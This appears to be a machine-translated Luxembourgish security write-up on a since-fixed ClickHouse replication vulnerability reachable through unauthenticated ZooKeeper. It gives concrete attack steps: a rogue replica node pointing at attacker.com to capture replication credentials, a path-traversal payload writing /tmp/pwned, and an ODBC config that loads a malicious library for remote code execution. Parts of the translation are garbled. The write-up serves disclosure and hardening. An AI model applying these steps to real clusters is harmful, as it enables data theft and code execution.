Dësen Artikel wäert d'Geschicht vun enger ganz spezifescher Schwachstelle am ClickHouse Replikatiounsprotokoll erzielen, a wäert och weisen wéi d'Attackfläch erweidert ka ginn.
ClickHouse ass eng Datebank fir grouss Bänn vun Daten ze späicheren, déi meeschtens méi wéi eng Replika benotzt. Clustering a Replikatioun am ClickHouse ginn uewen opgebaut
D'Standard ZK Installatioun erfuerdert keng Authentifikatioun, sou datt Dausende vun ZK Serveren benotzt ginn fir Kafka, Hadoop, ClickHouse ze konfiguréieren sinn ëffentlech verfügbar.
Fir Är Attacke Uewerfläch ze reduzéieren, sollt Dir ëmmer d'Authentifikatioun an d'Autorisatioun konfiguréieren wann Dir ZooKeeper installéiert
Et ginn natierlech e puer 0day baséiert Java Deserialisatiounen, awer stellt Iech vir datt en Ugräifer op ZooKeeper liesen a schreiwen kann, benotzt fir ClickHouse Replikatioun.
Wann am Cluster Modus konfiguréiert ass, ënnerstëtzt ClickHouse verdeelt Ufroen /clickhouse/task_queue/ddl
.
Zum Beispill erstellt Dir en Node /clickhouse/task_queue/ddl/query-0001
mat Inhalt:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
an duerno gëtt den Testdësch op de Stärekoupserver Host1 an Host2 geläscht. DDL ënnerstëtzt och CREATE / ALTER / DROP Ufroen ze lafen.
Kläng grujeleg? Awer wou kann en Ugräifer Serveradressen kréien?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
Wirbelen erstallt ginn Saile и Metadate.
Inhalt /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Ass et méiglech Daten aus dësem Cluster ze fusionéieren? Jo, wann de Replikatiounsport (TCP/9009
) um Server chXX-address
d'Firewall gëtt net zougemaach an d'Authentifikatioun fir d'Replikatioun gëtt net konfiguréiert. Wéi ëmgoen ech d'Authentifikatioun?
En Ugräifer kann eng nei Replica an ZK erstellen andeems Dir einfach den Inhalt kopéiert /clickhouse/tables/01-01/foobar/replicas/chXX
an d'Bedeitung änneren host
.
Inhalt /clickhouse/tables/01–01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Da musst Dir déi aner Repliken soen datt et en neie Block vun Daten um Server vum Ugräifer ass dee se brauchen ze huelen - e Node gëtt an ZK erstallt /clickhouse/tables/01-01/foobar/log/log-00000000XX
(XX monoton wuesse Konter, dee soll méi grouss sinn wéi dee leschten am Event Log):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
wou source_replik - den Numm vun der Replika vum Ugräifer erstallt am virege Schrëtt, block_id - Dateblock Identifizéierer, kréien - "Blockéieren" Kommando (an
Als nächst liest all Replik en neit Event am Logbuch a geet op e Server deen vum Ugräifer kontrolléiert gëtt fir e Block vun Daten ze kréien (de Replikatiounsprotokoll ass binär, leeft uewen op HTTP). Server attacker.com
kritt Ufroen:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
wou XXX d'Authentifikatiounsdaten fir Replikatioun ass. A verschiddene Fäll kann dëst e Kont sinn mat Zougang zu der Datebank iwwer den Haapt ClickHouse Protokoll an den HTTP Protokoll. Wéi Dir gesinn hutt, gëtt d'Attackfläch kritesch grouss well ZooKeeper, fir Replikatioun benotzt, ouni Authentifikatioun konfiguréiert gouf.
Loosst eis d'Funktioun kucken fir e Block vun Daten aus enger Replika ze kréien, et ass mat voller Vertrauen geschriwwen datt all Repliken ënner enger korrekter Kontroll sinn an et Vertrauen tëscht hinnen ass.
Replikatiounsveraarbechtungscode
D'Funktioun liest eng Lëscht vu Dateien, dann hir Nimm, Gréissten, Inhalter, a schreift se dann an de Dateiesystem. Et ass derwäert getrennt ze beschreiwen wéi Daten am Dateiesystem gespäichert ginn.
Et gi verschidde Ënnerverzeechnungen an /var/lib/clickhouse
(Standard Späicherverzeechnes vun der Konfiguratiounsdatei):
Fändelen - Verzeechnes fir opzehuelen
tmp - Verzeechnes fir temporär Dateien ze späicheren;
user_dateien - Operatioune mat Dateien an Ufroe sinn op dësem Verzeechnes limitéiert (INTO OUTFILE an anerer);
Metadate - sql Dateien mat Tabellbeschreiwungen;
preprocessed_configs - veraarbecht derivative Konfiguratiounsdateien aus /etc/clickhouse-server
;
Donnéeën - den aktuellen Verzeechnes mat den Donnéeën selwer, an dësem Fall gëtt fir all Datebank e separaten Ënnerverzeechnes einfach hei erstallt (zum Beispill /var/lib/clickhouse/data/default
).
Fir all Dësch gëtt en Ënnerverzeechnes am Datebankverzeechnes erstallt. All Kolonn ass eng separat Datei ofhängeg vun
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
D'Replica erwaart Dateie mat de selwechten Nimm ze kréien wann Dir e Block vun Daten veraarbecht a validéiert se op kee Fall.
Den opmierksame Lieser huet wahrscheinlech scho vun der onsécherer Konkatenatioun vum File_name an enger Funktioun héieren WriteBufferFromFile
. Jo, dëst erlaabt en Ugräifer arbiträr Inhalt op all Datei op der FS mat Benotzerrechter ze schreiwen clickhouse
. Fir dëst ze maachen, muss d'Replique, déi vum Ugräifer kontrolléiert gëtt, déi folgend Äntwert op d'Ufro zréckginn (Linnpausen goufen derbäigesat fir d'Verständnis ze vereinfachen):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
an no concatenation ../../../../../../../../../tmp/pwned
de Fichier wäert geschriwwe ginn /tmp/pwned mat Inhalt hellofromzookeeper.
Et gi verschidde Méiglechkeeten fir d'Datei Schreiffäegkeet an d'Remote Code Ausféierung (RCE) ëmzewandelen.
Extern Dictionnairen an RCE
An eelere Versioune gouf de Verzeechnes mat ClickHouse Astellunge mat Benotzerrechter gespäichert clickhouse Default. Astellungsdateien sinn XML-Dateien déi de Service beim Start liest an dann caches an /var/lib/clickhouse/preprocessed_configs
. Wann Ännerungen optrieden, gi se nei gelies. Wann Dir Zougang zu /etc/clickhouse-server
en Ugräifer kann seng eege schafen root
.
ODBC zu RCE
Wann Dir e Package installéiert, gëtt e Benotzer erstallt clickhouse
, awer säin Heemverzeichnis gëtt net erstallt /nonexistent
. Wéi och ëmmer, wann Dir extern Dictionnairen benotzt, oder aus anere Grënn, erstellen d'Administrateuren e Verzeichnis /nonexistent
a gitt de Benotzer clickhouse
Zougang fir et ze schreiwen (SSZB! ca. Iwwersetzer).
ClickHouse ënnerstëtzt odbc-bridge
, also ass et net méi méiglech de Chaufferwee aus der Ufro ze spezifizéieren. Awer kann en Ugräifer an den Heemverzeichnis schreiwen mat der Schwachstelle déi uewen beschriwwen ass?
Loosst eis eng Datei erstellen ~/.odbc.ini
mat Inhalt wéi dësen:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
dann op Startup SELECT * FROM odbc('DSN=lalala', 'test', 'test');
d'Bibliothéik gëtt gelueden test.so
a krut RCE (Merci
Dës an aner Schwachstelle goufen an der ClickHouse Versioun 19.14.3 fixéiert. Passt op Är ClickHouse an ZooKeepers!
Source: will.com